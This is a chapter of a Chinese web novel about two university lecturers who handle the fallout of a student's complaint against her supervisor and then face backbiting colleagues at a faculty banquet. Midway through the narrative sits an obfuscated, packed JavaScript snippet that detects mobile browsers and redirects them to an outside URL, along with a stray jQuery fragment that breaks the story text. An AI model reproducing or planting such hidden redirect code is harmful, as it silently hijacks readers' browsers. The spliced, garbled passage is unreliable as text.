至于也受了伤的张智学呢?
张教授三代单传,身体发肤受之父母,可把自己给心疼坏了,坚持要告吴渺和洪书渊。
意料之内情理之中,所有人证都没站在他那边。
贺鸣云和江无远非常肯定:“他是偷鸡不成蚀把米,想威胁学生,结果不小心弄伤自己了,不关学生的事。”
马远征附议:“没错。”
陈泰宇的屁股已经歪向贺鸣云:“对,是这样的。”
贾明光点头表示支持。
连一向不待见贺鸣云的李教授,经此一役,两害取其轻,觉得还是只顾自己逃跑的张智学更讨厌,作证道:“他自作自受,活该。”
张智学大受打击,卧床不起。胡杰也推称年纪大了,遭到惊吓,需要静养,马远征只好请江无远带着贺鸣云去探望吴渺。
吴渺状况稳定,只是出于各种考虑,要多住两天院,也正好避避风头。
贺鸣云告诉吴渺可以申请换导师,以及这件事不会波及到洪书渊的好消息。
吴渺知道学院现在盼着她赶紧滚蛋,不管是哪个导师,都会帮她尽快完成论文。“我可以选您做我的导师吗?”
贺鸣云拒绝得毫不留情:“不能,我是教社会学的。”
“那您能推荐下其他不错的导师吗?”
贺鸣云语气生硬:“也不能,我和你们系的老师不熟,不了解情况。”
江无远有些诧异地看了他一眼。
贺鸣云不会做超过一般水准的友善举动,但也绝不是冷漠无礼的人。这是在发哪门子癫,对着个学生这么冲?
没等她多琢磨,吴渺转向江无远:“江老师,谢谢您帮忙。”
“客气了,我没做什么,换导师的事是贺教授帮忙协调的,要谢谢贺教授才是。”
“江老师,我听说学校把这件事相关的帖子全删了。”
吴渺盯着江无远,没有说下去。
江无远略感不适,简洁地解释:“考虑到舆论发酵会影响到各方,先减少讨论度比较妥当。当然,学校的内部调查是会正常进行的。”
吴渺还是盯着她:“如果内部调查的结果不尽如人意,您能帮我披露事实吗?”
江无远这才明白刚刚那种不舒服的感觉从何而来,她还没回答,贺鸣云先答复了:“这个江老师办不到。如果一定要披露,你可以自己做,想怎么写就怎么写。”
江无远说得比他委婉些:“小吴同学,舆论不仅会伤到胡教授,也会伤害到你和小洪同学,你要好好考虑。这次处理掉帖子,并不只是为了保护老师和校方,这你应该明白。”
“……嗯,这我知道。”
“对了,这个,我在漫展买的,”江无远把挂件递给吴渺,“祝你以后一切顺利。”
两人走出医院,贺鸣云还是气鼓鼓的。
江无远心觉好笑:“贺教授,你气什么呢?”
“当然是气她利用你,她敢把证据发给你,却不敢直接发给学院或者学校领导。现在还想让你帮她搞舆论战?算盘打得也太响了。”
“那你不也是心甘情愿被利用了吗?”江无远不是第一次遇到这种事,心态比较好,“向信任的老师求助是学生的本能,想报复胡杰也可以理解。吴渺被欺负了这么久,都生病了,她是个病人。”
贺鸣云叹了口气:“我知道是学校没有做好,也觉得学生可怜。可是因为结构性缺失,学生不能通过官方渠道解决问题,那像你这样的好人,就会被学生当作救命稻草,被迫承担系统本应该承担的责任,这不公平。”
江无远愣了下,她习惯做学生的知心姐姐和救火队员了,习惯了把疲惫和委屈咽下去,告诉自己“这都是正常的”“他们只是孩子”。
很偶尔地,心底涌起不耐烦的情绪时,她还会自责,觉得自己对学生过分苛刻了,没有尽到教师的责任。贺鸣云这么一说,她才第一次意识到,原来她和学生承受的一些压力,都是没道理的。
贺鸣云观察着她的表情,小心地问:“我又说错话了?”
“没有,说对了。不过,我觉得偶尔被猫猫抓伤,也很正常,不算什么,”江无远朝他笑笑,“贺教授,有你一起救流浪猫猫,感觉很好,谢谢你。”
贺鸣云不解地眨了眨眼:“什么意思啊?”
*****
吴渺的事暂告一段落,趁着开学,依照惯例,人文社科各学院联合举办老教授荣休仪式暨新学期晚宴。
新学期预算充足,每年晚宴规格都挺高,吃得很好。江无远摩拳擦掌,发给贺鸣云的蹭车邀请却迟迟不见回复。
江无远直接杀到他办公室,此人果然正在专心工作,两耳不闻宴会事。
“你一个人在这里做什么?”
贺鸣云如实回答:“备课。”
“别装模作样逃避问题啊,你知道我在问什么。”
贺鸣云满不在乎道:“没人邀请我。”
江无远指出:“你翻翻邮件,群发的。”
贺鸣云顾左右而言他:“我屁股……身体不舒服,本来就不想去。”
“哦。”
贺鸣云继续解释:“不喜欢应酬,跟他们又不是什么哥们。”
“嗯嗯。”
贺鸣云又说:“而且我也没时间,小钟的论文外审,被提了很多修改意见,我要给她看看。”
“原来如此。”
“……你这是什么眼神?”
“贺教授,我跟学院的同事也不是什么姐妹,跟他们呆一起我会很无聊,”江无远诚恳地说,“所以我想邀请你作为我的男伴一起参加晚宴,你不肯赏脸吗?”
她一眨巴眼睛,贺鸣云明知她纯粹是为了蹭车,内心却依然不争气地大受动摇。
江无远继续煽风点火:“走嘛,菜很好吃的。人家张教授脚瘸了,都还要坚持赴宴刷存在感呢。”
听到“张教授”三个字就不舒服,贺鸣云自以为隐秘地翻了个白眼。
“贺教授,你眼睛这么大,白眼翻起来很明显的,以后不准翻了。”
“……哦。”
*****
江无远说:“我先去学院那边转一圈,和领导打个招呼。”
贺鸣云乖巧得像一只导盲犬:“嗯,我原地等你。”
“你原地等我干嘛?”江无远奇了怪了,“你也去学院和马院长他们打个招呼呀,快去。”
贺鸣云见她兴致勃勃,没好意思说马远征今天没来,他跟其他人都不太熟,不想去冷脸贴冷屁股。
他不情愿地朝社科院同事聚集处进发,一边缓慢挪动步子,一边在心里打草稿,怎么自然而冷淡地寒暄两句,然后迅速撤回和江老师的集合点。
在这类聚会活动上,贺鸣云的存在感一向稀薄,大多数人可能根本确定他绝对不会来,聊天也就无所顾忌。
李教授和方教授正在聊天,两位教授年纪稍长,耳朵不好,说话比较大声。
他们在聊吴渺那件事。
方教授当时不在场,不了解情况,问:“我听说是贺教授出面解决了问题?”
李教授笑道:“是啊方教授,没想到吧,书呆子发了胡难财,老教授被精神病学生追杀,反而给他搞上危机公关了。老马就不用说了,连王仁才都觉得他处理得不错,春风得意着呢。”
方教授说:“平时贺教授不声不响的,关键时候还挺有担当。”
李教授压低了点声音:“唉,你就是不玩政治。什么担当啊,投机!算准了胡杰不敢深究,张智学又没用,正好他踩着同事的污点,学生那里赚口碑,领导这边显手腕。之后评教授和副院长不就水到渠成了么?”
方教授没说话,倒是林教授接茬了:“是啊,还跳出来说要举报胡教授,再怎么说也是同事一场,想挣表现也太迫不及待了吧?”
李教授喉咙里发出一声短促的讥笑:“不止呢,后来他还提了份导师匿名评价草案上去,被老马给扣住了。”
方教授也是博导,比较感兴趣,追问:“什么导师匿名评价草案?”
李教授不耐烦道:“就是让研究生和博士生匿名评价导师,还要对已经毕业的学生追踪回访。学生负面评价多的,学院内部就要启动对导师的带教情况调查。”
林教授笑道:“什么制度改良,就是做样子掩盖根本矛盾嘛。匿名评价导师有什么用?导师的权力根源动了吗?学生的毕业压力小了吗?所以说人还是要学好,本来贺教授是一心向学的,跟新传那个小江混在一起,也开始搞形象管理这一套了。”
贺鸣云愣住了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232562|195550||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
林教授说得没错。导师的权力根源没有变化,学生的毕业压力没有变小,他的提案治标不治本,病灶还在那里。他关注约束博导权力这件事已经很久了,却始终想不出好的办法。
方教授说:“还真没想到小贺有这方面的头脑,我印象里他也不怎么玩政治的,就知道做研究。”
林教授说:“咱们都过时啦,现在哪里还有年轻人专注学问的,都是一鱼两吃,把学术研究理想主义化,做成一门生意。咱们这些老老实实带学生、对学生要求高的,反而成了人家上进的垫脚石。”
贺鸣云不是没有想过,掺和吴渺的事会让别人误会他的动机,认为他是在讨好学生,积累政治资本。
他不在意这个。
他一向自诩在努力做到知行合一,维护正确的秩序,做对的事,哪怕这些事不讨人喜欢。
可他在意,在体制内做所谓“正确的事”,是不是本来就是个伪命题?是不是一种虚伪的自我安慰和假装清高?
他的心情顿时变得很差。
“贺教授?贺教授!”
贺鸣云如梦方醒,看到江无远朝他走来,有些慌张。“对不起,我走神了。怎么了?”
江无远把盘子递到他脸面前:“这个小汉堡太好吃了!你快尝尝。”
“……就这事?”
江无远一脸真诚:“还有比这更重要的事吗?”
贺鸣云不敢说“有”,沉默地把小汉堡塞进嘴里。
“好吃吗?”
贺鸣云心情不好,味同嚼蜡,毫无感情地说:“好吃,谢谢。”
“你这表情怎么跟吃了屎似的,怎么了?”
贺鸣云没有回答。
李教授和林教授端着酒杯凑了过来。
“贺教授,老胡的事多亏你帮忙,大义灭亲清理门户,处理得漂亮!”
“就是,有勇有谋,不仅避免了学院陷入舆论危机,在学生那边也大受欢迎啊。来,敬你一杯。”
贺鸣云举了举杯,简短地“嗯”了一声,他觉得有点累了,不想再和他们掰扯。
突然,第四个酒杯加入了他们,挡在李教授、林教授和贺鸣云的杯子之间。
江无远自然地挽上贺鸣云的臂弯,动作夸张地碰了碰李教授、林教授的酒杯,发出清脆的撞击声。
“两位老教授也太护短了,不能因为是自己人,就捧杀贺鸣云啊。贺教授算什么有勇有谋?我看他明明轴得很,一根筋,说话气人,做事莽撞,只想着解决问题,需要情商的东西一窍不通。”
贺鸣云确实情商不高,又被江无远突如其来地一揽,大脑当场死机,一句话也说不出来。
江无远笑眯眯的:“要让情商高点的人来处理吴渺这件事,要么各打五十大板,速速办结;要么像某些人一样装死,让别人出头。既要保住学生的学位,又要查处导师的问题,吃力不讨好,还要被人背后蛐蛐,也就贺教授这种笨蛋愿意干了。”
贺鸣云这才品出点味道来,江老师这是在……帮他阴阳怪气对方?
“您二位说什么清理门户、有勇有谋,贺教授听不懂的,太高深了。来,贺教授,还愣着干嘛?这杯酒该我们敬两位老教授,感谢前辈善意提醒,学术圈里不能只埋头做事,还有很多门道,需要你潜心研究。”
江无远掐了一下他的臂弯,贺鸣云心领神会,露出一个大大的假笑,碰了碰两位教授的酒杯。“多谢前辈提点。”
李教授和林教授面带不快,走了。
江无远问:“他们刚刚在背后说你坏话了?”
贺鸣云有点委屈:“嗯。你怎么知道的?”
“看样子就猜到了呀,我又不是笨蛋。”
江无远凑近了一点,说:“其实我也不喜欢这种场合,不喜欢和傻子争论,不喜欢自证清白。但是我更不喜欢看小人得志,你觉得呢,贺教授?”
她看着贺鸣云,眼睛里闪耀着奇异的神采。就算是传说中不近女色的牛顿,想必也会为这般光彩倾倒。
何况他这个普通学者,一个会因为别人的坏话就动摇的普通人。
贺鸣云调整了下手臂的姿势,方便江老师揽住。
“江老师,我觉得你说得非常对。”
“那就来吧,进攻就是最好的防守。”